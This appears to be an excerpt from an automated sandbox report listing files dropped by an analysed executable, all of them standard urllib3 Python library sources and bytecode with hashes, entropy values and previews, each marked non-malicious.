Malicious:	false
Preview:	from __future__ import annotations..import os.import typing..# use http.client.HTTPException for consistency with non-emscripten.from http.client import HTTPException as HTTPException # noqa: F401.from http.client import ResponseNotReady..from ..._base_connection import _TYPE_BODY.from ...connection import HTTPConnection, ProxyConfig, port_by_scheme.from ...exceptions import TimeoutError.from ...response import BaseHTTPResponse.from ...util.connection import _TYPE_SOCKET_OPTIONS.from ...util.timeout import _DEFAULT_TIMEOUT, _TYPE_TIMEOUT.from ...util.url import Url.from .fetch import _RequestError, _TimeoutError, send_request, send_streaming_request.from .request import EmscriptenRequest.from .response import EmscriptenHttpResponseWrapper, EmscriptenResponse..if typing.TYPE_CHECKING:. from ..._base_connection import BaseHTTPConnection, BaseHTTPSConnection...class EmscriptenHTTPConnection:. default_port: typing.ClassVar[int] = port_by_scheme["http"]. default_socket_options: ty

C:\recover\pw\Lib\site-packages\urllib3\contrib\emscripten\emscripten_fetch_worker.js

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3655
Entropy (8bit):	4.6612783191186296
Encrypted:	false
SSDEEP:	48:+oqyr3+5Jm/HwlC8qDxRLF2ASKVwb5o+RNzJj8NlVYMMbL/Qq9SRNRJOw40pBRXv:+op+5JmPWCjbF2R5PH4lHMbL/QLOz0p/
MD5:	CD5FB56C8115E0DB8EB92FF3FBE9960A
SHA1:	3D1704D964E37D527D888A606FFC62894520DBFF
SHA-256:	0837D817FF420E86EDC7694689DC89D738C312FC0D4F917E75C8665565C38741
SHA-512:	A414EA8983DA012F9EB8246A36C016D9ACA2FAD2B74F577297B4D02D37D6E5366DADF9993AB92915C3B3A1116D57423B1CF49076F586B3E51F053D9483F87179
Malicious:	false
Preview:	let Status = {. SUCCESS_HEADER: -1,. SUCCESS_EOF: -2,. ERROR_TIMEOUT: -3,. ERROR_EXCEPTION: -4,.};..let connections = {};.let nextConnectionID = 1;.const encoder = new TextEncoder();..self.addEventListener("message", async function (event) {. if (event.data.close) {. let connectionID = event.data.close;. delete connections[connectionID];. return;. } else if (event.data.getMore) {. let connectionID = event.data.getMore;. let { curOffset, value, reader, intBuffer, byteBuffer } =. connections[connectionID];. // if we still have some in buffer, then just send it back straight away. if (!value \|\| curOffset >= value.length) {. // read another buffer if required. try {. let readResponse = await reader.read();.. if (readResponse.done) {. // read everything - clear connection and return. delete connections[connectionID];. Atomics.store(intBuffer, 0, Status.SUCCESS_EOF);. Atomics.notify(intBuffer, 0);.

C:\recover\pw\Lib\site-packages\urllib3\contrib\emscripten\fetch.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14131
Entropy (8bit):	4.581820013726768
Encrypted:	false
SSDEEP:	192:fao+GnxIT+rEm4IVNSCxmhFFsOeA+Df1AlkhIc3SoO:fF+oZMImCOEfDhIuS3
MD5:	1259D5B9753B0A80D00F91D57731D60E
SHA1:	92664A84EBE36BF4E845BA734D76B70506E66A25
SHA-256:	CA6C09947041BB0E964E92A03C7A5D9A6ACD07196CAFBE47AA80F8467DBB6179
SHA-512:	32A7179723C4D90AEC36FBECBC56A607890FF42C864E965529A5FF136BC9E325CF42B62E9FD9EB9CB82FC8875B07B179C12CC950777E93C6F8AA36A52AB776FB
Malicious:	false
Preview:	""".Support for streaming http requests in emscripten...A few caveats -..Firstly, you can't do streaming http in the main UI thread, because atomics.wait isn't allowed..Streaming only works if you're running pyodide in a web worker...Secondly, this uses an extra web worker and SharedArrayBuffer to do the asynchronous fetch.operation, so it requires that you have crossOriginIsolation enabled, by serving over https.(or from localhost) with the two headers below set:.. Cross-Origin-Opener-Policy: same-origin. Cross-Origin-Embedder-Policy: require-corp..You can tell if cross origin isolation is successfully enabled by looking at the global crossOriginIsolated variable in.javascript console. If it isn't, streaming requests will fallback to XMLHttpRequest, i.e. getting the whole.request into a buffer and then returning it. it shows a warning in the javascript console in this case...Finally, the webworker which does the streaming fetch is created on initial import, but will only be star

C:\recover\pw\Lib\site-packages\urllib3\contrib\emscripten\request.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	566
Entropy (8bit):	4.6695794858845625
Encrypted:	false
SSDEEP:	12:1Rjd6xkB2laJtp7Hz+6ZfM+9B2Nx4ehQCn7e7q9NNMdke:1RXBP+6ZfM+9QQw5xMqe
MD5:	56AAE3C754DE48411A8E711AE387D95F
SHA1:	59F1A59F8AC5104E0552CBD253311E47B5A5FB9E
SHA-256:	98BDBCB33CB52AF137349856A2BE633666ABA7C830A650D4FBB8301996398344
SHA-512:	5C65B5F475B5899609B7F99610C1672A0B8538481AD74436DE4078DC1E94D7E39CFDBE045C15C16C1B21B3959E89245C58D3A6DE52BDDA7961EE315EB6D5BA83
Malicious:	false
Preview:	from __future__ import annotations..from dataclasses import dataclass, field..from ..._base_connection import _TYPE_BODY...@dataclass.class EmscriptenRequest:. method: str. url: str. params: dict[str, str] \| None = None. body: _TYPE_BODY \| None = None. headers: dict[str, str] = field(default_factory=dict). timeout: float = 0. decode_content: bool = True.. def set_header(self, name: str, value: str) -> None:. self.headers[name.capitalize()] = value.. def set_body(self, body: _TYPE_BODY \| None) -> None:. self.body = body.

C:\recover\pw\Lib\site-packages\urllib3\contrib\emscripten\response.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10017
Entropy (8bit):	4.2204512478917655
Encrypted:	false
SSDEEP:	96:6cnNlu+w09uF0qLthGyvUEaIg+N0axUlZ0ylZBA24bKldWQxcyf1TF4BK:6cnCuqLts6BNl1KGQGq1TFz
MD5:	282AFBF6D4A8D0F9B050E8FAD830F1E3
SHA1:	C6DE44BD91204180EA3EE31A1EFF677DC361D317
SHA-256:	C046163C708BF89B200ADA42A5F9D6198035F837230C6A451AA5825D92F06C76
SHA-512:	EB1EBC466D77476A6406658083EB6597B6B1545B761BFAF22F1AB9171DFC21D88188BFBAA6CFAC7457CBEAE18475DC207AA71F45044480D491A54242AC192B73
Malicious:	false
Preview:	from __future__ import annotations..import json as _json.import logging.import typing.from contextlib import contextmanager.from dataclasses import dataclass.from http.client import HTTPException as HTTPException.from io import BytesIO, IOBase..from ...exceptions import InvalidHeader, TimeoutError.from ...response import BaseHTTPResponse.from ...util.retry import Retry.from .request import EmscriptenRequest..if typing.TYPE_CHECKING:. from ..._base_connection import BaseHTTPConnection, BaseHTTPSConnection..log = logging.getLogger(__name__)...@dataclass.class EmscriptenResponse:. status_code: int. headers: dict[str, str]. body: IOBase \| bytes. request: EmscriptenRequest...class EmscriptenHttpResponseWrapper(BaseHTTPResponse):. def __init__(. self,. internal_response: EmscriptenResponse,. url: str \| None = None,. connection: BaseHTTPConnection \| BaseHTTPSConnection \| None = None,. ):. self._pool = None # set by pool class. se

C:\recover\pw\Lib\site-packages\urllib3\contrib\pyopenssl.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19338
Entropy (8bit):	4.845719429755584
Encrypted:	false
SSDEEP:	192:WwnnmU84aF2O8YwCv0KZ78tuqhGWDUGI0iwZzaawE0wD4g0DHfYrf3Jz3OIY/JBc:W0nLQBwCvPhGzhGUiwdfD7FYuI6
MD5:	B52F8166A10EAAFAB07641E10C29FB8F
SHA1:	1ABC4989FCB7FD5AB9AF0E2E1FD299080BB3A66A
SHA-256:	F623F88FC25A7C0E21AAD5FD02027DCF1AEA23E89CA211ABA85A8032BCA835D0
SHA-512:	BDE2D42D817DCADA3711CE63747F921C7F15DE04609B8554366EB8AE9B9C339A27233884F5B779EC7AD5005443D9FDB0063F5386AAE3EA5AAA1F72431EB2915D
Malicious:	false
Preview:	""".Module for using pyOpenSSL as a TLS backend. This module was relevant before.the standard library ``ssl`` module supported SNI, but now that we've dropped.support for Python 2.7 all relevant Python versions support SNI so.this module is no longer recommended...This needs the following packages installed:..* `pyOpenSSL`_ (tested with 16.0.0).* `cryptography`_ (minimum 1.3.4, from pyopenssl).* `idna`_ (minimum 2.0)..However, pyOpenSSL depends on cryptography, so while we use all three directly here we.end up having relatively few packages required...You can install them with the following command:.... code-block:: bash.. $ python -m pip install pyopenssl cryptography idna..To activate certificate checking, call.:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code.before you begin making HTTP requests. This can be done in a ``sitecustomize``.module, or at any other time before your application begins using ``urllib3``,.like this:.... code-block:: python.

C:\recover\pw\Lib\site-packages\urllib3\contrib\socks.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7549
Entropy (8bit):	4.639834169659284
Encrypted:	false
SSDEEP:	96:AojUEqLPKpdAZN7KOSwZf0wvMrpV611hMEZVgJ9:AVEqmrw7KOJZf0wvQpk11KE7M9
MD5:	0CF6C586F832D200056BD86CE4B470E5
SHA1:	8F6EBE4990D32760297208D75D5B4978892DB4E5
SHA-256:	FA26AB75CEB51B2A6C2730FA5BACAE452ECA542C9FA30710AE5FFBD7D1FB9483
SHA-512:	89C8AA742C2CD6B0647DA45B4B2708715C8B32877987CC43F62B33B7D0EEBF7E4476D321ABF758DD6D8B6362E447BCEB9A89DE862722AF56D8A0F13107C01FF3
Malicious:	false
Preview:	""".This module contains provisional support for SOCKS proxies from within.urllib3. This module supports SOCKS4, SOCKS4A (an extension of SOCKS4), and.SOCKS5. To enable its functionality, either install PySocks or install this.module with the ``socks`` extra...The SOCKS implementation supports the full range of urllib3 features. It also.supports the following SOCKS features:..- SOCKS4A (``proxy_url='socks4a://...``).- SOCKS4 (``proxy_url='socks4://...``).- SOCKS5 with remote DNS (``proxy_url='socks5h://...``).- SOCKS5 with local DNS (``proxy_url='socks5://...``).- Usernames and passwords for the SOCKS proxy.... note::. It is recommended to use ``socks5h://`` or ``socks4a://`` schemes in. your ``proxy_url`` to ensure that DNS resolution is done from the remote. server instead of client-side when connecting to a domain name...SOCKS4 supports IPv4 and domain names with the SOCKS4A extension. SOCKS5.supports IPv4, IPv6, and domain names...When connecting to a SOCKS4 proxy the ``usern

C:\recover\pw\Lib\site-packages\urllib3\exceptions.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	9393
Entropy (8bit):	4.792397513804208
Encrypted:	false
SSDEEP:	96:/yFB1ICxHTkuUw7qRlqHN4cVSPC5fjY/axAIH9s3w6pov+1xBXVm65BPHQcc19U6:/CTXrWZcmC9XH9spoCFm65BPHQcrO95
MD5:	4F61F9FFB40020611E33E90E9F64752E
SHA1:	6866D84C5CBF24BE572B91D694A83EA69F14551B
SHA-256:	4436A2B9DB51EEBA9B54A4CAA4B4A064106DC1A22A57B799B5EAEF655FE665A8
SHA-512:	C0E625642E608878831E3D104A011C7EA1913A0B78D6BA9A9BC0CC92B94D34C7185A71F0D5B134958A0A78BD14ED7FC2ABE14DFEB3057CA2AB1936226562CF44
Malicious:	false
Preview:	from __future__ import annotations..import socket.import typing.import warnings.from email.errors import MessageDefect.from http.client import IncompleteRead as httplib_IncompleteRead..if typing.TYPE_CHECKING:. from .connection import HTTPConnection. from .connectionpool import ConnectionPool. from .response import HTTPResponse. from .util.retry import Retry..# Base Exceptions...class HTTPError(Exception):. """Base exception used by this module."""...class HTTPWarning(Warning):. """Base warning used by this module."""..._TYPE_REDUCE_RESULT = typing.Tuple[. typing.Callable[..., object], typing.Tuple[object, ...].]...class PoolError(HTTPError):. """Base exception for errors caused within a pool.""".. def __init__(self, pool: ConnectionPool, message: str) -> None:. self.pool = pool. super().__init__(f"{pool}: {message}").. def __reduce__(self) -> _TYPE_REDUCE_RESULT:. # For pickling purposes.. return self.__class__, (None, None)...

C:\recover\pw\Lib\site-packages\urllib3\fields.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	10843
Entropy (8bit):	4.6192856607563595
Encrypted:	false
SSDEEP:	192:WSerkc/Ank8CQqdfkl92KcOpIshgcRG/A47FAK/:WSerkSATIDOpIsh747FAK/
MD5:	2BD54B482695939797D7AFE1FF47707A
SHA1:	8778216DE2496C87F13E4B426B43B932C7B9CBC1
SHA-256:	F2F8B43DE468FE91397213E6240D3B2D9B4C91596CE14AC14B5936C4CE74EA33
SHA-512:	A5DAFC869C39C369AE2EBE88931DEABBD68F2A4CEC8BC09C99753AF75A713CA1B96E8989B3AD38E754EB548C1D6829A6F0AFC50368AC7C91A6AE430E5DEE7EFE
Malicious:	false
Preview:	from __future__ import annotations..import email.utils.import mimetypes.import typing.._TYPE_FIELD_VALUE = typing.Union[str, bytes]._TYPE_FIELD_VALUE_TUPLE = typing.Union[. _TYPE_FIELD_VALUE,. typing.Tuple[str, _TYPE_FIELD_VALUE],. typing.Tuple[str, _TYPE_FIELD_VALUE, str],.]...def guess_content_type(. filename: str \| None, default: str = "application/octet-stream".) -> str:. """. Guess the "Content-Type" of a file... :param filename:. The filename to guess the "Content-Type" of using :mod:`mimetypes`.. :param default:. If no "Content-Type" can be guessed, default to `default`.. """. if filename:. return mimetypes.guess_type(filename)[0] or default. return default...def format_header_param_rfc2231(name: str, value: _TYPE_FIELD_VALUE) -> str:. """. Helper function to format and quote a single header parameter using the. strategy defined in RFC 2231... Particularly useful for header parameters which might contain. non-A

C:\recover\pw\Lib\site-packages\urllib3\filepost.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	4.946770037622349
Encrypted:	false
SSDEEP:	48:PV0Gy/fOGJ7Ae16YNKAqj2GSgg5/zjggoW:TyHOGNAeE2DmgoW
MD5:	ED5B7522289EBB739A3E3800CCF533C0
SHA1:	E80BE57EC82444ECD1E52FB96A132998AFAFC79A
SHA-256:	FBDA894F5D5C3468CEF5DAA7236D3EA04AD9B93BCD68CD7CC5964F0A36526CE1
SHA-512:	34886FD378BE78B2301C5FC325DECAE9E8A269DF49DBE127604A41379F8BF01E0ED17AB2E47EDCDFCC5E4DE287D2C94B20D6051AA599B1A6BA7B5D60783DE1D0
Malicious:	false
Preview:	from __future__ import annotations..import binascii.import codecs.import os.import typing.from io import BytesIO..from .fields import _TYPE_FIELD_VALUE_TUPLE, RequestField..writer = codecs.lookup("utf-8")[3].._TYPE_FIELDS_SEQUENCE = typing.Sequence[. typing.Union[typing.Tuple[str, _TYPE_FIELD_VALUE_TUPLE], RequestField].]._TYPE_FIELDS = typing.Union[. _TYPE_FIELDS_SEQUENCE,. typing.Mapping[str, _TYPE_FIELD_VALUE_TUPLE],.]...def choose_boundary() -> str:. """. Our embarrassingly-simple replacement for mimetools.choose_boundary.. """. return binascii.hexlify(os.urandom(16)).decode()...def iter_field_objects(fields: _TYPE_FIELDS) -> typing.Iterable[RequestField]:. """. Iterate over fields... Supports list of (k, v) tuples and dicts, and lists of. :class:`~urllib3.fields.RequestField`... """. iterable: typing.Iterable[RequestField \| tuple[str, _TYPE_FIELD_VALUE_TUPLE]].. if isinstance(fields, typing.Mapping):. iterable = fields.items(). e

C:\recover\pw\Lib\site-packages\urllib3\http2\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	4.847457208242871
Encrypted:	false
SSDEEP:	48:P66qahy6p9S8DV+NMSRKv+0VJN0/ErA9sCZVsCn:yKlphR+NMS0m0VJN0/EMDVp
MD5:	73C659DE6243D65676BA07027886B65E
SHA1:	3E0DE2068E4B0CDFF235A49D6ACDA3DB24D4AEC2
SHA-256:	C73AC0487ED1E4035190F24EA2DE651A70133AADCA2AEC97CC8E36ADC9F09AAB
SHA-512:	2B05B9AF717D545239F4C867394432865FD13C80EB84518AB6671FFD29FEF5536FF846E369D672B815102285F093154A39BDEDB31D34AD72F503EB3B1B1E8269
Malicious:	false
Preview:	from __future__ import annotations..from importlib.metadata import version..__all__ = [. "inject_into_urllib3",. "extract_from_urllib3",.]..import typing..orig_HTTPSConnection: typing.Any = None...def inject_into_urllib3() -> None:. # First check if h2 version is valid. h2_version = version("h2"). if not h2_version.startswith("4."):. raise ImportError(. "urllib3 v2 supports h2 version 4.x.x, currently ". f"the 'h2' module is compiled with {h2_version!r}. ". "See: https://github.com/urllib3/urllib3/issues/3290". ).. # Import here to avoid circular dependencies.. from .. import connection as urllib3_connection. from .. import util as urllib3_util. from ..connectionpool import HTTPSConnectionPool. from ..util import ssl_ as urllib3_util_ssl. from .connection import HTTP2Connection.. global orig_HTTPSConnection. orig_HTTPSConnection = urllib3_connection.HTTPSConnection.. HTTPSConnectionPool.ConnectionC

C:\recover\pw\Lib\site-packages\urllib3\http2\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	5.362071922208946
Encrypted:	false
SSDEEP:	24:0Mu6QKYYYH7N9QU4DMU3KZsGfM3yRiR7F3W92vbwFWHrb49msQWP7:9BdYLbX4DinRaDD9Hrb4mAP7
MD5:	D3F82A3619384C11257DA21E68540692
SHA1:	67C677B4A5D2C58A245C60A8D5CAD40CCB873186
SHA-256:	08B3508C76D16C14A96EA46A5C4D8DEEC2F62751955F1887899206544A3031EB
SHA-512:	4F370B4E227938425366CC47577531032B5715051CF3FF455FE202F4B2C57731B6036BA491DD945F3EC86C969C416C4A2D14BB8A6869EDA7A7B51D81BAAECCDF
Malicious:	false
Preview:	o.......>k;g.........................@...sN...U.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.l.Z.d.a.d.e.d.<.d.d.d...Z.d.d.d...Z.d.S.)......)...annotations)...version..inject_into_urllib3..extract_from_urllib3Nz.typing.Any..orig_HTTPSConnection..return..Nonec....................C...s....t.d...}.\|...d...s.t.d.\|...d.......d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...\|.j.a.\|.\|._.\|.\|._.d.g.\|._.d.g.\|._.d.S.).N..h2z.4.zQurllib3 v2 supports h2 version 4.x.x, currently the 'h2' module is compiled with z5. See: https://github.com/urllib3/urllib3/issues/3290.........connection....util....HTTPSConnectionPool....ssl_.....)...HTTP2Connection).r......startswith..ImportError..r....r......connectionpoolr....r....r......HTTPSConnectionr......ConnectionCls..ALPN_PROTOCOLS).Z.h2_version..urllib3_connection..urllib3_utilr......urllib3_util_sslr......r.....8C:\winnit\pw\lib\site-packages\urllib3\http2\__init__.pyr........s".....................................c....................C...sP...d.d.l.m.}..

C:\recover\pw\Lib\site-packages\urllib3\http2\pycache\init.cpython-310.pyc.65245328

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	5.3576353587984205
Encrypted:	false
SSDEEP:	24:RFMu6QKYYYH7N9QU4DMU3KZsGfM3yRiR7FNW92vbwFWHrb49msQWP7:wBdYLbX4DinRahD9Hrb4mAP7
MD5:	AAF18B29B822644B39BA5B7680F06A45
SHA1:	15550730D96B9E030932027338BA717B4DC7B93E
SHA-256:	523E9A2DCE91E9A511C9AB22F3065BAE2ABF32A07E2EE47977554363C65FA3E4
SHA-512:	5030B86D7D201DD7DB921250E306E0A0E0CC18AE0EF3FC2F2ADA05F9E713D87E19C12AB35A432051A49BB121DFA4D7A8DBBA362537E6CB659ECA51C397E15D80
Malicious:	false
Preview:	o.........Sg.........................@...sN...U.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.d.d.l.Z.d.a.d.e.d.<.d.d.d...Z.d.d.d...Z.d.S.)......)...annotations)...version..inject_into_urllib3..extract_from_urllib3Nz.typing.Any..orig_HTTPSConnection..return..Nonec....................C...s....t.d...}.\|...d...s.t.d.\|...d.......d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...d.d.l.m.}...\|.j.a.\|.\|._.\|.\|._.d.g.\|._.d.g.\|._.d.S.).N..h2z.4.zQurllib3 v2 supports h2 version 4.x.x, currently the 'h2' module is compiled with z5. See: https://github.com/urllib3/urllib3/issues/3290.........connection....util....HTTPSConnectionPool....ssl_.....)...HTTP2Connection).r......startswith..ImportError..r....r......connectionpoolr....r....r......HTTPSConnectionr......ConnectionCls..ALPN_PROTOCOLS).Z.h2_version..urllib3_connection..urllib3_utilr......urllib3_util_sslr......r.....9C:\recover\pw\lib\site-packages\urllib3\http2\__init__.pyr........s".....................................c....................C...sP...d.d.l.m.}.

C:\recover\pw\Lib\site-packages\urllib3\http2\pycache\probe.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2522
Entropy (8bit):	5.2375105095654275
Encrypted:	false
SSDEEP:	48:7PQG3rP6bqRTB08DGmDZrZCYawGQ2bcwf27jpWsI663cv6iuJh6+:7zWW/DGmDZEYaw4bbujpXkSNok+
MD5:	9191682D1D4F87D23667F12ACEB6976C
SHA1:	1571B1E00933FB673FF9A3E19CE616956AE66F34
SHA-256:	1B19B850F73F8B6E86E853279229F260C4A73181D39B393B748B5534C80EAB01
SHA-512:	81FFA4A61F4B77130FA322E842987B01A78144898167F80570D2D4B35DBD3E943400CCC147871FE48447CE59F17AEC84474167B14DDAAE4EB51E3895AAB927D8
Malicious:	false
Preview:	o.......>k;g.........................@...sL...d.d.l.m.Z...d.d.l.Z.G.d.d...d...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.g.Z.d.S.)......)...annotationsNc....................@...sB...e.Z.d.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)..._HTTP2ProbeCache...._lock.._cache_locks.._cache_values..return..Nonec....................C...s....t.....\|._.i.\|._.i.\|._.d.S...N)...threading..Lockr....r....r........self..r.....5C:\winnit\pw\lib\site-packages\urllib3\http2\probe.py..__init__....s..........z._HTTP2ProbeCache.__init__..host..str..port..int..bool \| Nonec....................C...s....d.}.\|.j..7..\|.\|.f.}.z.\|.j.\|...}.\|.d.u.r.\|.W.W...d.........S.W.n...t.y4......t.....\|.j.\|.<.d.\|.j.\|.<.Y.n.w.W.d.........n.1.s?w.......Y...\|.j.\|...}.\|.......z.\|.j.\|...}.W.\|.S...t.ym..}...z.t.\|.t...rdJ...\|.........d.}.~.w.w.r....).r....r......KeyErrorr......RLockr......acquire..BaseException..isinstance..release).r....r....r......value..key..key_lock..er....r....r......acquire_and_get....s4..................

C:\recover\pw\Lib\site-packages\urllib3\http2\pycache\probe.cpython-310.pyc.65171344

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2523
Entropy (8bit):	5.234405014580908
Encrypted:	false
SSDEEP:	48:UPQG3rPVmqRTB08DGmDZrZCYawGQ2bcwf27jpWsI663cv6iuJh6+:Uzr/DGmDZEYaw4bbujpXkSNok+
MD5:	19786314EE560BBC5AA7C64DE192A75A
SHA1:	D79A305F42D40EADE5358C0237A2BED96303898C
SHA-256:	239F41EC2F1596504E78C957421B96128017BF59C6D37A40562EEEA8E1F552F5
SHA-512:	D04100231BAF8B77D373403CBB3CDE8A11DE910D155026AC0696B627E3831879FC3AAD9AE3F741A4352A5FD44BB87C4D4CBCF0873F6CCCEBB9FCAF0B5594A171
Malicious:	false
Preview:	o.........Sg.........................@...sL...d.d.l.m.Z...d.d.l.Z.G.d.d...d...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.g.Z.d.S.)......)...annotationsNc....................@...sB...e.Z.d.Z.d.Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)..._HTTP2ProbeCache...._lock.._cache_locks.._cache_values..return..Nonec....................C...s....t.....\|._.i.\|._.i.\|._.d.S...N)...threading..Lockr....r....r........self..r.....6C:\recover\pw\lib\site-packages\urllib3\http2\probe.py..__init__....s..........z._HTTP2ProbeCache.__init__..host..str..port..int..bool \| Nonec....................C...s....d.}.\|.j..7..\|.\|.f.}.z.\|.j.\|...}.\|.d.u.r.\|.W.W...d.........S.W.n...t.y4......t.....\|.j.\|.<.d.\|.j.\|.<.Y.n.w.W.d.........n.1.s?w.......Y...\|.j.\|...}.\|.......z.\|.j.\|...}.W.\|.S...t.ym..}...z.t.\|.t...rdJ...\|.........d.}.~.w.w.r....).r....r......KeyErrorr......RLockr......acquire..BaseException..isinstance..release).r....r....r......value..key..key_lock..er....r....r......acquire_and_get....s4.................

C:\recover\pw\Lib\site-packages\urllib3\http2\connection.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12668
Entropy (8bit):	4.43718269678957
Encrypted:	false
SSDEEP:	192:7EfnhH8HWnkmgcIutahcTzfmN1d/m/BaTl4DuXm5Ap9g:7E/hTnkYt9ON1wB
MD5:	C987555EFD9989FB9505C7520CA9CFD5
SHA1:	6E3FC2FE65A2029769C64B0A5447A83EA611BD12
SHA-256:	18D969F418C8DC399F48A7B55B46FD22A44178CF10D77C5DD8C03744E709DDD6
SHA-512:	585F14458EF6BF78D32595D05D0C535B727675DE53919B78A73679F6CE439C32F7DB47D958EA960FCFECBD74239F7636E4C5581490270ECE12E7123D8F3C73F6
Malicious:	false
Preview:	from __future__ import annotations..import logging.import re.import threading.import types.import typing..import h2.config # type: ignore[import-untyped].import h2.connection # type: ignore[import-untyped].import h2.events # type: ignore[import-untyped]..from .._base_connection import _TYPE_BODY.from .._collections import HTTPHeaderDict.from ..connection import HTTPSConnection, _get_default_user_agent.from ..exceptions import ConnectionError.from ..response import BaseHTTPResponse..orig_HTTPSConnection = HTTPSConnection..T = typing.TypeVar("T")..log = logging.getLogger(__name__)..RE_IS_LEGAL_HEADER_NAME = re.compile(rb"^[!#$%&'*+\-.^_`\|~0-9a-z]+$").RE_IS_ILLEGAL_HEADER_VALUE = re.compile(rb"[\0\x00\x0a\x0d\r\n]\|^[ \r\n\t]\|[ \r\n\t]$")...def _is_legal_header_name(name: bytes) -> bool:. """. "An implementation that validates fields according to the definitions in Sections. 5.1 and 5.5 of [HTTP] only needs an additional check that field names do not. include uppercase chara

C:\recover\pw\Lib\site-packages\urllib3\http2\probe.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3014
Entropy (8bit):	4.4639831655972575
Encrypted:	false
SSDEEP:	48:P9KKiM7SQwiqNdlp95feJYNq/qaWF5DX6nE8aawT6WurID:VDiM7SvT5WlcDXbt+m
MD5:	F326941F27972957BBE5E005FF30CED2
SHA1:	0F3ACBA2EC85A7130D05F77C099DD9440C817E84
SHA-256:	9E7024A9B8406A43A217BE6BCFB5B4B9D677F047A1FEE0FC7E357BE0DEF71442
SHA-512:	E9F789FF8232103414312EBD3B1833FA4971B9E3052DBCA5E9F308E6C112682F5330A1E7FCFBBC38815A72BA7E72A5E3FBC4789E82A24A4302DAF48EB52C381C
Malicious:	false
Preview:	from __future__ import annotations..import threading...class _HTTP2ProbeCache:. __slots__ = (. "_lock",. "_cache_locks",. "_cache_values",. ).. def __init__(self) -> None:. self._lock = threading.Lock(). self._cache_locks: dict[tuple[str, int], threading.RLock] = {}. self._cache_values: dict[tuple[str, int], bool \| None] = {}.. def acquire_and_get(self, host: str, port: int) -> bool \| None:. # By the end of this block we know that. # _cache_[values,locks] is available.. value = None. with self._lock:. key = (host, port). try:. value = self._cache_values[key]. # If it's a known value we return right away.. if value is not None:. return value. except KeyError:. self._cache_locks[key] = threading.RLock(). self._cache_values[key] = None.. # If the value is unknown, we acquire t

C:\recover\pw\Lib\site-packages\urllib3\poolmanager.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	22913
Entropy (8bit):	4.6123699446367254
Encrypted:	false
SSDEEP:	384:D0Ik4vjqADeNCc61gSm/mTTG7vlT9xp4ArkkW1:gITqADeNClSSUSkt9xp3rkke
MD5:	375F776F4F4EA02B00C5C9CBD35A5B9B
SHA1:	54ABBE3544898F70A56DE63193402DB34D15ED07
SHA-256:	DBF2F6023543828434A819986D7F6EF50AB2535BB9277EF341BB6FFFEB9E6500
SHA-512:	115A1404DAA176A02CFA8B8A0E4E54F73058A3EBC6BFC14FDD24A9254783C35AF31659C2C497370881D02965EF4A5FBCEB5FA4843A583F9CE8E82A7EC4453FF0
Malicious:	false
Preview:	from __future__ import annotations..import functools.import logging.import typing.import warnings.from types import TracebackType.from urllib.parse import urljoin..from ._collections import HTTPHeaderDict, RecentlyUsedContainer.from ._request_methods import RequestMethods.from .connection import ProxyConfig.from .connectionpool import HTTPConnectionPool, HTTPSConnectionPool, port_by_scheme.from .exceptions import (. LocationValueError,. MaxRetryError,. ProxySchemeUnknown,. URLSchemeUnknown,.).from .response import BaseHTTPResponse.from .util.connection import _TYPE_SOCKET_OPTIONS.from .util.proxy import connection_requires_http_tunnel.from .util.retry import Retry.from .util.timeout import Timeout.from .util.url import Url, parse_url..if typing.TYPE_CHECKING:. import ssl.. from typing_extensions import Self..__all__ = ["PoolManager", "ProxyManager", "proxy_from_url"]...log = logging.getLogger(__name__)..SSL_KEYWORDS = (. "key_file",. "cert_file",. "cert_reqs"

C:\recover\pw\Lib\site-packages\urllib3\py.typed

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.327987613540449
Encrypted:	false
